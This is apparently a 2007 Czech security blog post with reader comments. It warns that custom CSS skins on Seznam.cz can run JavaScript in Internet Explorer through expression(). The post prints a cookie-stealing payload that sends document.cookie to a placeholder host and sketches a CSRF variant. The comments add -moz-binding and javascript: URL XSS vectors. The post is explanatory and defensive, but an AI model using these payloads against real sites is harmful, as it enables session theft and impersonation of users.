Nenastavujte cizí styl na Seznam.cz

Školení, která pořádám

Stejně jako je bláhové spouštět cizí přílohy e-mailu, tak je stejně bláhové nastavovat si cizí styl na nové domácí stránce Seznam.cz. V Internet Exploreru totiž může vložený styl obsahovat JavaScript, který se bez varování provede.

Následky tohoto spuštění jsou zřejmé – útočník se může dostat k vaší cookie se session identifikátorem a následně se za vás začít vydávat. Stačí k tomu jednoduchý kód typu DIV { background-image: expression('url(http://www.example.com/get.php?c=' + document.cookie + ')'); }.

Na první pohled to vypadá jako poměrně závažný bezpečnostní nedostatek, na druhý pohled ale chápu správce Seznam.cz, kteří chtějí dát grafikům nebo i běžným uživatelům možnost použít vlastní design nebo ho otestovat před tím, než ho pošlou do soutěže (výraz expression se legitimně používá např. pro emulaci minimální a maximální šířky). A ostatní uživatelé jsou poměrně důrazně upozorněni, aby používali pouze vlastní styly:

Pozor: tato funkce je určena pouze pro webmastery a designery,
kteří chtějí otestovat vlastní skin pro Seznam Homepage.

Skutečným bezpečnostním rizikem by tato funkce byla v případě, kdy by bylo možné vlastní styl nastavit jinému uživateli, aniž by o tom věděl. K tomu by se daly použít útoky XSS nebo ještě spíše CSRF, proti kterým je Seznam.cz zdá se imunní – u XSS se mi nepodařilo najít zranitelné místo a proti CSRF je formulář chráněn tokenem, který je nejspíš odvozený z uživatele a IP adresy (v čase se nemění). Pokud by formulář pro změnu designu nebyl chráněn proti CSRF, stačilo by všem návštěvníkům vaší stránky nastavit jako styl výše uvedený kód doplněný o @import url(http://www.seznam.cz/st/css/0-homepage.css?13), aby se útok nedal rozpoznat změnou vzhledu.

Za daných podmínek by vás někdo musel sociálními technikami přimět k tomu, abyste si styl nastavili sami. Dokážu si např. představit situaci, kdy v počítačové laboratoři uvidíte nějaký „cool“ styl u spolužáka a zatoužíte ho mít i vy. Ani pečlivá kontrola použitého stylu by jako ochrana nestačila, protože styl se samozřejmě může v čase měnit, a bylo by potřeba si nezávadný styl někam zkopírovat.

Přijďte si o tomto tématu popovídat na školení Bezpečnost PHP aplikací.

Jakub Vrána, Dobře míněné rady, 19.10.2007, diskuse: 9 (nové: 0)

Diskuse

Martin Straka:

Jenom malé doplnění, v Mozille jde použít -moz-binding:url(//websec.cz/mz.xml#xss); se stejným efektem jako expression pro MSIE.

Lukas Mach:

Rada diskuznich severu podporuje vkladani HTML kodu do prispevku, pricemz obsah prispevku projizdi nejakym parserem HTML, ktery projede i atributy style="...", a zkontroluje, jestli neobsahuje zakazane prvky. Seznamu nic nebrani projet prijimany CSS soubor a provest to same. Samozrejme, parsovani CSS s ohledem na odlisnosti parseru ruznych prohlizecu, je dost tezke a nejednoznacne, ale IMHO by stacilo i jednoduche nalezeni vsech slov "expression", "javascript" a podobne (sice potom nebudete moct dat na pozadi obrazek s nazvem expression.gif, ale to se snad da prezit). Take potom nebude mozne pouzivat expression k beznym ucelum, ale to snad uz v dnesni dobe neni takovy problem (navic se expressions vyhodnocuji zbytecne casto a jsou tak pomale).

Mimochodem, pokud udelate tohle:

body { background-image: url(neco.js); }

tak nektere prohlizece opravdu spusti javascriptem soubor neco.js. Nepodarilo se mi ale z nej precist obsah cookies.

ikona Jakub Vrána OpenID:

Předně: Seznam.cz CSS vůbec nestahuje – do stránky prostě vloží odkaz na vzdálené URL, takže ho kontrolovat ani nemůže. Kdyby ho chtěl kontrolovat, musel by si ho nejdřív zkopírovat k sobě a pak by na to byla potřeba úplně jiná infrastruktura a znamenalo by to také zásadní opruz pro vývojáře stylů, protože ti by po každé změně stylu u sebe museli na Seznam.cz nahrát novou verzi. Takhle stačí refresh.

Kdybych to dělal já, udělal bych to stejně. Jen je potřeba uživatele upozornit, aby si nenastavovali cizí styly stejně jako nemají spouštět cizí přílohy.

Můžeš upřesnit "nektere prohlizece"?

Lukas Mach:

Aha, ja totiz nevim, jak je to skinovani resene. Osobne bych to tak neimplementoval, skiny bych stahoval na seznamacky server, tam bych je projel parserem a do stranek daval odkaz na zkontrolovanou kopii. Jednou za den bych si jen stahl z vyvojarova odkazu novou verzi. Vyvojari by mohli styly vyvijet pomoci featury "uzivatelske styly" ve svem internetovem prohlizeci (ma to i MSIE 6) - ostatne by to bylo velmi pohodlne, vyvojar by totiz videl podobu webu podle stylu, ktery je ulozen primo na jeho disku.

| Můžeš upřesnit "nektere prohlizece"?

Urcite to tak delala minimalne Opera. Tady na tom odkazu je popsane neco podobneho:

http://www.quirksmode.org/css/javascript.html

Martin Straka:

Aha, ale ty jsi psal:

body { background-image: url(neco.js); }

a v tom odkazu co jsi ted uvedl je url(javascript:neco), coz opravdu fungovalo.

Mas nejaky PoC na ten puvodni priklad? Moc se mi nezda ze by nejaky prohlizec mohl takhle fungovat...

Jan Pejša:

já vím o tomto:
background-image:url(javascript:alert('XSS'))
...funguje v IE6, spouštění vzdálených skriptů jsem nezkoušel

Martin Straka:

Ale ano, pseudo protocol javascript: v URL pro (nejenom) obrázky v MSIE6 fungoval, to jsem také zmínil. Ale Lukáš
opravdu psal něco jiného:

body { background-image: url(neco.js); }

Lobo:

No mimo to, že je to nebezpečné to může být zneužíváno ještě v jiné formě: třeba vytvořím velice populární téma s dětskými motivy a až si je nastaví spousta lidí, tak změním obrázky na nějaké porno nebo tam všude napíšu nějaké odkazy, třeba jako pozadí nastavím loga centrum.cz atd. na druhou stranu i pro počestného autora tématu jistě nepotěší, když mu velký počet požadavků na stažení souboru bude prodražovat hosting nebo mu ho rovnou shodí.

ikona HejTi:

Hm, měl jsem takový pocit, že Seznam kontroluje IP adresu, takže zjistit jenom session cookie by nemělo stačit, ale nezjišťoval jsem to. Nicméně pokud tam jde spustit javascript, tak se tam teoreticky dá odchytit heslo, které uživatel zadá, nebo se pletu?

Diskuse je zrušena z důvodu spamu.

avatar © 2005-2024 Jakub Vrána. Publikované texty můžete přetiskovat pouze se svolením autora. Ukázky kódu smíte používat s uvedením autora a URL tohoto webu bez dalších omezení Creative Commons. Můžeme si tykat. Skripty předpokládají nastavení: magic_quotes_gpc=Off, magic_quotes_runtime=Off, error_reporting=E_ALL & ~E_NOTICE a očekávají předchozí zavolání mysql_set_charset. Skripty by měly být funkční v PHP >= 4.3 a PHP >= 5.0.